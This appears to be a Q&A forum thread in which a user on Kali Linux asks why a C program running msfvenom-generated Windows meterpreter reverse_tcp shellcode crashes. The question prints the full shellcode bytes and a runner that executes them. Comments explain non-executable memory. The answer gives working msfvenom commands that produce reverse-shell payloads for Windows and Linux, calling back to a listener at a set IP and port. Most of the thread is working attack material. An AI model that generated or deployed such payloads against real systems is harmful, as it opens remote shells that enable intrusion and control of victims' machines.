1

I generated a shell code with msfvenom

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c

When I compile my shell.c with gcc (version 6.3.0-16) with this options:

# gcc -o shell shell.c
# gcc -o shell shell.c -fno-stack-protector -z execstack
# gcc -o shell shell.c -fno-stack-protector -z execstack -m32

All these options above give me an error when I run ./shell: segmentation fault

Question: How can I resolve it?

My distro: 4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux

My shell.c code:

    unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x08\x5d\x68\x02"
"\x00\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";


int main()

{

int (*fonction) ();

fonction=(int(*)())buf;

(int) (*fonction) ();

}
  • 1
    It likely has to do with buf being in non-executable memory. You should allocate some executable memory with mmap and then copy buf into it. Or you could use mprotect to change the memory protection of a region. – Macil May 12 '17 at 0:25
  • 2
    Are you trying to use Windows meterpreter on Linux? – rhodeo May 12 '17 at 5:57
  • 3
    windows/meterpreter/reverse_tcp and you are running it on Linux .... – schroeder May 12 '17 at 6:36
  • You made your stack executable, but not the data section of your executable (which is where an array literal will be). You need to allocate a stack buffer of the appropriate size and copy your exploit code there, or else use mprotect to make buf's page executable. – CBHacking May 12 '17 at 17:38
  • @CBHacking please give a exemple of how to makedata section executable? Please everybody don't execute my code on your computer for more caution. – hill flame May 12 '17 at 23:14
1

First of all, your shell.c code is right.

The problem is that you are executing an exploit generated for Windows platform, as you can see:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c

If your target is Windows, the format file output need to be executable file -f exe. I recommend using the -b '\x00' to guarantee the bad characters encoding:

Windows x86: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f exe -o shell.exe -b '\x00'

there a tiny change for Windows x64, just make sure that your payload path contains "x64": windows/x64/meterpreter/...

Windows x64: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f exe -o shell.exe -b '\x00'


In a Linux platform you have to specify the architecture in the path to msfvenom:

Linux x86: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c -b '\x00'

Note that I change the format (-f) output file to .c.

Linux x64: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c -b '\x00'

However, if your target is Linux x86... So assuming you are on the platform mentioned in your question [4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux] you will have to specify the architecture in gcc using -m32.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.